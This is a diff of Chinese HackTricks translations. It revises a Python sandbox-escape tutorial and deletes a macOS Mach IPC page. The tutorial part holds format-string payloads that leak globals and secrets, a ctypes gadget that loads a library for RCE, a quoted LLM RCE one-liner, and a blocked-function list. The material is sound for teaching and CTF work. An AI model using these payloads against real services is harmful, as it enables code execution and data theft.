bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -546,8 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
||||
## 递归搜索 Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> 这真是 **太棒了**。
|
||||
> 如果你正在 **寻找像 globals, builtins, open 或任何其他对象**,只需使用此脚本来 **递归地查找可以找到该对象的地方。**
|
||||
> 这简直**太棒了**。如果你正在**寻找像 globals、builtins、open 等对象**,只需使用这个脚本来**递归地查找可以找到该对象的位置。**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -663,7 +662,7 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
您可以在此页面查看该脚本的输出:
|
||||
你可以在此页面查看此脚本的输出:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
||||
@ -671,7 +670,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
如果你 **send** 一个将被 **formatted** 的 **string** 给 python,你可以使用 `{}` 来访问 **python internal information.** 你可以使用之前的示例来访问 globals 或 builtins。
|
||||
如果你 **发送** 一个 **字符串** 到 python 将要被 **格式化**,你可以使用 `{}` 来访问 **python 内部信息。** 你可以使用前面的示例来访问 globals 或 builtins,例如。
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -691,16 +690,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
注意你可以用 **点** 的常规方式访问属性,例如 `people_obj.__init__`,并可以用 **方括号**(不带引号)访问 **dict 元素**,如 `__globals__[CONFIG]`
|
||||
注意你可以像平常一样使用 **访问属性** 通过 **点**,例如 `people_obj.__init__`,并且可以使用 **dict 元素** 的 **括号**(不带引号) `__globals__[CONFIG]`
|
||||
|
||||
另外注意你可以使用 `.__dict__` 来枚举对象的元素,例如 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
另外注意你可以使用 `.__dict__` 来枚举对象的元素 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
格式化字符串的另一个有趣特性是可以在指定对象上执行函数 **`str`**、**`repr`** 和 **`ascii`**,方法是在后面分别添加 **`!s`**、**`!r`**、**`!a`**:
|
||||
format strings 的另一个有趣特性是可以通过分别添加 `!s`、`!r`、`!a` 来在指定对象上执行函数 `str`、`repr` 和 `ascii`:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
此外,可以在类中**编写新的格式化器**:
|
||||
此外,可以在类中**code new formatters**:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -711,17 +710,17 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**更多示例**:关于 **format** **string** 的更多内容可见 [**https://pyformat.info/**](https://pyformat.info)
|
||||
**More examples** 关于 **format** **string** 的示例可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
|
||||
|
||||
> [!CAUTION]
|
||||
> 另请查看以下页面,包含能够 r**ead sensitive information from Python internal objects** 的 gadgets:
|
||||
> 另请查看以下页面,关于 gadgets that will r**ead sensitive information from Python internal objects**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### 敏感信息泄露 Payloads
|
||||
### 敏感信息披露 Payloads
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -741,19 +740,18 @@ str(x) # Out: clueless
|
||||
|
||||
来自 [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### 从 format 到 RCE 加载库
|
||||
### 从 format 到 RCE:加载库
|
||||
|
||||
根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/),可以滥用 format string vulnerability in python 从磁盘加载任意库。
|
||||
根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/),可以通过滥用 python 中的 format string vulnerability 从磁盘加载任意库。
|
||||
|
||||
提醒一下,每当在 python 中执行某个操作时,都会调用相应的函数。例如 `2*3` 会执行 **`(2).mul(3)`**,或者 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。
|
||||
作为提醒,每当在 python 中执行一个操作时,都会执行某个函数。例如 `2*3` 会执行 **`(2).mul(3)`**,或者 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。
|
||||
|
||||
更多类似例子见章节 [**Python execution without calls**](#python-execution-without-calls)。
|
||||
在章节 [**Python execution without calls**](#python-execution-without-calls) 中有更多类似例子。
|
||||
|
||||
python 的 format string vuln 不允许执行函数(它不允许使用圆括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\
|
||||
python 的 format string vuln 不允许执行函数(它不允许使用括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样直接获得 RCE。\
|
||||
然而,可以使用 `[]`。因此,如果某个常用 python 库有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们来获得 RCE。
|
||||
|
||||
然而,可以使用 `[]`。因此,如果某个常用的 python 库具有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们来获取 RCE。
|
||||
|
||||
在 python 中寻找这样的 gadget 时,writeup 提出了这个 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在其中找到了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
在 python 中寻找这样的 gadget 时,writeup 提出了这个 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在那里发现了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -775,20 +773,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
这个 gadget 允许 **load a library from disk**。因此,需要以某种方式将 **write or upload the library to load** 正确编译并上传到被攻击的服务器。
|
||||
该 gadget 允许**从磁盘加载库**。因此,需要以某种方式**写入或上传要加载的库**,并且该库必须为被攻击的服务器正确编译。
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
这个挑战实际上滥用了服务器中的另一个漏洞,允许在服务器磁盘上创建任意文件。
|
||||
这个挑战实际上利用了服务器中的另一个漏洞,该漏洞允许在服务器磁盘上创建任意文件。
|
||||
|
||||
## 分析 Python 对象
|
||||
## 解析 Python 对象
|
||||
|
||||
> [!TIP]
|
||||
> 如果你想**学习**关于**python bytecode**的深入内容,请阅读这篇关于该主题的**精彩**文章: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> 如果你想要**深入学习**关于**python bytecode**的内容,可以阅读这篇**精彩**的文章: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
在一些 CTFs 中,你可能会被提供一个**custom function where the flag** 的名称,你需要查看该 **function** 的 **internals** 来提取它。
|
||||
在某些 CTFs 中,你可能会被提供一个名为 **custom function where the flag** 的名称,你需要查看该 **function** 的 **内部** 来提取 flag。
|
||||
|
||||
这是要检查的函数:
|
||||
下面是要检查的函数:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -799,16 +797,16 @@ return "THIS-IS-THE-FALG!"
|
||||
else:
|
||||
return "Nope"
|
||||
```
|
||||
#### 目录
|
||||
#### dir
|
||||
```python
|
||||
dir() #General dir() to find what we have loaded
|
||||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
||||
dir(get_flag) #Get info tof the function
|
||||
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
||||
```
|
||||
#### globals
|
||||
#### 全局
|
||||
|
||||
`__globals__` 和 `func_globals`(相同) 获取全局环境。在示例中,你可以看到一些已导入的模块、一些全局变量及其声明的内容:
|
||||
`__globals__` 和 `func_globals` (相同) 获取全局环境。在示例中你可以看到一些已导入的模块、一些全局变量及其声明的内容:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -821,7 +819,7 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
|
||||
### **访问函数代码**
|
||||
|
||||
**`__code__`** 和 `func_code`:你可以 **访问** 该函数的这个 **属性** 以 **获取其 code object**。
|
||||
**`__code__`** 和 `func_code`: 你可以**访问**函数的这个**属性**以**获取该函数的代码对象**。
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -909,7 +907,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
注意 **如果你无法在 python sandbox 中导入 `dis`**,你可以获取该函数的 **bytecode** (`get_flag.func_code.co_code`) 并在本地 **disassemble** 它。你不会看到被加载变量的内容(`LOAD_CONST`),但可以从 (`get_flag.func_code.co_consts`) 猜测它们,因为 `LOAD_CONST` 也会指示被加载变量的偏移。
|
||||
注意,**如果你无法在 python sandbox 中 import `dis`**,你可以获得该函数的**字节码**(`get_flag.func_code.co_code`)并在本地**反汇编**它。你不会看到被加载变量的内容(`LOAD_CONST`),但你可以从(`get_flag.func_code.co_consts`)推测它们,因为 `LOAD_CONST` 也会告诉被加载变量的偏移。
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -931,10 +929,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## Compiling Python
|
||||
## 编译 Python
|
||||
|
||||
现在,设想一下,你以某种方式能够 **dump the information about a function that you cannot execute**,但你 **need** 去 **execute** 它。\
|
||||
像下面的例子,你 **can access the code object** 的那个函数,但仅仅读取反汇编你 **don't know how to calculate the flag**(_想象一个更复杂的 `calc_flag` 函数_)
|
||||
现在,设想你以某种方式可以**转储关于一个你无法执行的函数的信息**,但你**需要**去**执行**它。\
|
||||
就像下面的示例中,你**可以访问该函数的 code object**,但只是阅读 disassemble 你**不知道如何计算 flag**(_想象一个更复杂的 `calc_flag` 函数_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -949,7 +947,7 @@ return "Nope"
|
||||
```
|
||||
### 创建 code object
|
||||
|
||||
首先,我们需要知道 **如何创建和执行 code object**,以便我们可以创建一个来执行我们的 function leaked:
|
||||
首先,我们需要知道 **如何创建并执行一个 code object**,以便我们可以创建一个来执行我们泄露的函数 leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -969,7 +967,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> 根据你所使用的 python 版本,`code_type` 的 **参数** 可能有 **不同的顺序**。要了解你运行的 python 版本中参数的顺序,最好的方法是运行:
|
||||
> 根据你当前运行的 python 版本,`code_type` 的 **参数** 可能具有 **不同的顺序**。确定参数在你所用 python 版本中顺序的最好方法是运行:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -977,10 +975,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### 重新创建一个 leaked 函数
|
||||
### 重新创建一个已 leaked 的函数
|
||||
|
||||
> [!WARNING]
|
||||
> 在下面的示例中,我们将直接从函数的 code object 中获取重新创建该函数所需的所有数据。在一个 **真实示例** 中,执行函数 **`code_type`** 所需的所有 **值** 就是你必须 leak 的内容。
|
||||
> 在下面的示例中,我们将直接从函数的函数代码对象中获取重建该函数所需的所有数据。在 **真实示例** 中,执行函数 **`code_type`** 所需的所有 **值** 就是 **你需要 leak 的内容**。
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -993,8 +991,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### 绕过防御
|
||||
|
||||
在本文开头的前面示例中,你可以看到 **如何使用 `compile` 函数执行任意 python 代码**。这很有意思,因为你可以在 **一行命令** 中执行带有循环等的 **完整脚本**(我们也可以使用 **`exec`** 做同样的事)。\
|
||||
不过,有时在本地机器上**创建**一个**已编译对象**并在 **CTF machine** 上执行它会很有用(例如因为在 CTF 中我们没有 `compiled` 函数)。
|
||||
在本帖开头的示例中,你可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为你可以 **在一行中执行整个脚本**,包括循环等,并且我们也可以使用 **`exec`** 达到相同效果。\
|
||||
不过,有时在本地机器上**创建**一个**已编译对象**并在**CTF machine**上执行会很有用(例如因为我们在 CTF 上没有 `compiled` 函数)。
|
||||
|
||||
例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数:
|
||||
```python
|
||||
@ -1023,7 +1021,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
如果你无法访问 `eval` 或 `exec`,你可以创建一个**适当的函数**,但直接调用它通常会失败,错误为: _受限模式下无法访问构造函数_。因此你需要一个**不在受限环境中的函数来调用该函数。**
|
||||
如果无法访问 `eval` 或 `exec`,你可以创建一个**真正的函数**,但直接调用通常会失败,错误为:_constructor not accessible in restricted mode_。因此你需要一个**不在受限环境中的函数来调用该函数。**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1031,9 +1029,9 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Decompiling Compiled Python
|
||||
## 反编译已编译的 Python
|
||||
|
||||
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code.
|
||||
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具,可以将已编译的 Python 代码**反编译**。
|
||||
|
||||
**查看此教程**:
|
||||
|
||||
@ -1042,12 +1040,12 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) o
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## 其他 Python
|
||||
## Python 杂项
|
||||
|
||||
### Assert
|
||||
|
||||
Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\
|
||||
Therefore, checks like
|
||||
以参数 `-O` 在优化模式下运行的 Python 会移除 assert 语句以及任何以 **debug** 值为条件的代码。\
|
||||
因此,像这样的检查:
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
||||
@ -1,832 +0,0 @@
|
||||
# macOS IPC - 进程间通信
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Mach 通过端口进行消息传递
|
||||
|
||||
### 基本信息
|
||||
|
||||
Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可以包含 **多个线程**。这些 **任务和线程与 POSIX 进程和线程 1:1 映射**。
|
||||
|
||||
任务之间的通信通过 Mach 进程间通信 (IPC) 进行,利用单向通信通道。**消息在端口之间传输**,这些端口像是由内核管理的 **消息队列**。
|
||||
|
||||
每个进程都有一个 **IPC 表**,在其中可以找到 **进程的 mach 端口**。mach 端口的名称实际上是一个数字(指向内核对象的指针)。
|
||||
|
||||
一个进程还可以将一个端口名称和一些权限 **发送给不同的任务**,内核会在 **另一个任务的 IPC 表** 中显示这个条目。
|
||||
|
||||
### 端口权限
|
||||
|
||||
端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 **端口权限** 是 ([定义来自这里](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **接收权限**,允许接收发送到端口的消息。Mach 端口是 MPSC(多个生产者,单个消费者)队列,这意味着在整个系统中每个端口只能有 **一个接收权限**(与管道不同,多个进程可以持有一个管道的读端文件描述符)。
|
||||
- 拥有 **接收权限** 的任务可以接收消息并 **创建发送权限**,允许其发送消息。最初只有 **自己的任务对其端口拥有接收权限**。
|
||||
- **发送权限**,允许向端口发送消息。
|
||||
- 发送权限可以被 **克隆**,因此拥有发送权限的任务可以克隆该权限并 **授予给第三个任务**。
|
||||
- **一次性发送权限**,允许向端口发送一条消息,然后消失。
|
||||
- **端口集权限**,表示一个 _端口集_ 而不是单个端口。从端口集中出队一条消息会从其包含的一个端口中出队一条消息。端口集可以用于同时监听多个端口,类似于 Unix 中的 `select`/`poll`/`epoll`/`kqueue`。
|
||||
- **死名称**,这不是一个实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的对该端口的端口权限变成死名称。
|
||||
|
||||
**任务可以将发送权限转移给其他任务**,使其能够发送消息。**发送权限也可以被克隆,因此一个任务可以复制并将权限授予第三个任务**。这与一个称为 **引导服务器** 的中介进程结合,允许任务之间进行有效的通信。
|
||||
|
||||
### 文件端口
|
||||
|
||||
文件端口允许在 Mac 端口中封装文件描述符(使用 Mach 端口权限)。可以使用 `fileport_makeport` 从给定的 FD 创建一个 `fileport`,并使用 `fileport_makefd` 从 fileport 创建一个 FD。
|
||||
|
||||
### 建立通信
|
||||
|
||||
#### 步骤:
|
||||
|
||||
如前所述,为了建立通信通道,**引导服务器**(在 mac 中为 **launchd**)参与其中。
|
||||
|
||||
1. 任务 **A** 发起一个 **新端口**,在此过程中获得 **接收权限**。
|
||||
2. 任务 **A**,作为接收权限的持有者,**为该端口生成一个发送权限**。
|
||||
3. 任务 **A** 与 **引导服务器** 建立 **连接**,提供 **端口的服务名称** 和 **发送权限**,通过称为引导注册的过程。
|
||||
4. 任务 **B** 与 **引导服务器** 交互以执行服务名称的引导 **查找**。如果成功,**服务器复制从任务 A 接收到的发送权限** 并 **将其传输给任务 B**。
|
||||
5. 在获得发送权限后,任务 **B** 能够 **构造** 一条 **消息** 并将其 **发送给任务 A**。
|
||||
6. 对于双向通信,通常任务 **B** 会生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**,以便其可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
引导服务器 **无法验证** 任务声称的服务名称。这意味着一个 **任务** 可能会 **冒充任何系统任务**,例如虚假 **声称一个授权服务名称** 然后批准每个请求。
|
||||
|
||||
然后,Apple 将 **系统提供的服务名称** 存储在安全配置文件中,位于 **SIP 保护** 的目录中:`/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents`。每个服务名称旁边,**相关的二进制文件也被存储**。引导服务器将为每个这些服务名称创建并持有一个 **接收权限**。
|
||||
|
||||
对于这些预定义的服务,**查找过程略有不同**。当查找服务名称时,launchd 动态启动该服务。新的工作流程如下:
|
||||
|
||||
- 任务 **B** 发起对服务名称的引导 **查找**。
|
||||
- **launchd** 检查任务是否正在运行,如果没有,则 **启动** 它。
|
||||
- 任务 **A**(服务)执行 **引导检查**。在这里,**引导** 服务器创建一个发送权限,保留它,并 **将接收权限转移给任务 A**。
|
||||
- launchd 复制 **发送权限并将其发送给任务 B**。
|
||||
- 任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**(服务),以便其可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初描述的方式操作,这可能会允许冒充。
|
||||
|
||||
### 一个 Mach 消息
|
||||
|
||||
[在这里找到更多信息](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg` 函数,实质上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。该消息必须以 `mach_msg_header_t` 结构开始,后面跟着实际的消息内容。该结构定义如下:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
mach_msg_size_t msgh_size;
|
||||
mach_port_t msgh_remote_port;
|
||||
mach_port_t msgh_local_port;
|
||||
mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
进程拥有 _**接收权**_ 可以在 Mach 端口上接收消息。相反,**发送者** 被授予 _**发送**_ 或 _**一次性发送权**_。一次性发送权仅用于发送单个消息,之后将失效。
|
||||
|
||||
为了实现简单的 **双向通信**,进程可以在 Mach **消息头** 中指定一个 **mach 端口**,称为 _回复端口_ (**`msgh_local_port`**),消息的 **接收者** 可以 **回复** 此消息。**`msgh_bits`** 中的位标志可用于 **指示** 应该为此端口派生并转移一个 **一次性发送** **权**(`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,这种双向通信用于期望回复的 XPC 消息(`xpc_connection_send_message_with_reply` 和 `xpc_connection_send_message_with_reply_sync`)。但 **通常会创建不同的端口**,如前所述,以创建双向通信。
|
||||
|
||||
消息头的其他字段包括:
|
||||
|
||||
- `msgh_size`:整个数据包的大小。
|
||||
- `msgh_remote_port`:发送此消息的端口。
|
||||
- `msgh_voucher_port`:[mach 代金券](https://robert.sesek.com/2023/6/mach_vouchers.html)。
|
||||
- `msgh_id`:此消息的 ID,由接收者解释。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意 **mach 消息是通过 \_mach 端口**\_ 发送的,这是一个内置于 mach 内核的 **单接收者**,**多个发送者** 通信通道。**多个进程** 可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。
|
||||
|
||||
### 枚举端口
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
您可以通过从 [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) 下载该工具来在 iOS 上安装它。
|
||||
|
||||
### 代码示例
|
||||
|
||||
注意 **发送者** 如何 **分配** 一个端口,为名称 `org.darlinghq.example` 创建一个 **发送权限** 并将其发送到 **引导服务器**,同时发送者请求该名称的 **发送权限** 并使用它来 **发送消息**。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="receiver.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc receiver.c -o receiver
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Create a new port.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_allocate() created port right name %d\n", port);
|
||||
|
||||
|
||||
// Give us a send right to this port, in addition to the receive right.
|
||||
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_insert_right() inserted a send right\n");
|
||||
|
||||
|
||||
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
||||
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_register()'ed our port\n");
|
||||
|
||||
|
||||
// Wait for a message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
mach_msg_trailer_t trailer;
|
||||
} message;
|
||||
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_RCV_MSG, // Options. We're receiving a message.
|
||||
0, // Size of the message being sent, if sending.
|
||||
sizeof(message), // Size of the buffer for receiving.
|
||||
port, // The port to receive a message on.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Got a message\n");
|
||||
|
||||
message.some_text[9] = 0;
|
||||
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="sender.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Lookup the receiver port using the bootstrap server.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_look_up() returned port right name %d\n", port);
|
||||
|
||||
|
||||
// Construct our message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
} message;
|
||||
|
||||
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
message.header.msgh_remote_port = port;
|
||||
message.header.msgh_local_port = MACH_PORT_NULL;
|
||||
|
||||
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
||||
message.some_number = 35;
|
||||
|
||||
// Send the message.
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_SEND_MSG, // Options. We're sending a message.
|
||||
sizeof(message), // Size of the message being sent.
|
||||
0, // Size of the buffer for receiving.
|
||||
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### 特权端口
|
||||
|
||||
- **主机端口**:如果一个进程对这个端口具有**发送**权限,他可以获取**系统**的**信息**(例如 `host_processor_info`)。
|
||||
- **主机特权端口**:一个对这个端口具有**发送**权限的进程可以执行**特权操作**,如加载内核扩展。**进程需要是root**才能获得此权限。
|
||||
- 此外,为了调用**`kext_request`** API,需要拥有其他权利**`com.apple.private.kext*`**,这些权利仅授予Apple二进制文件。
|
||||
- **任务名称端口**:_任务端口_的一个非特权版本。它引用任务,但不允许控制它。通过它似乎唯一可用的功能是 `task_info()`。
|
||||
- **任务端口**(又名内核端口):对这个端口具有发送权限可以控制任务(读/写内存,创建线程...)。
|
||||
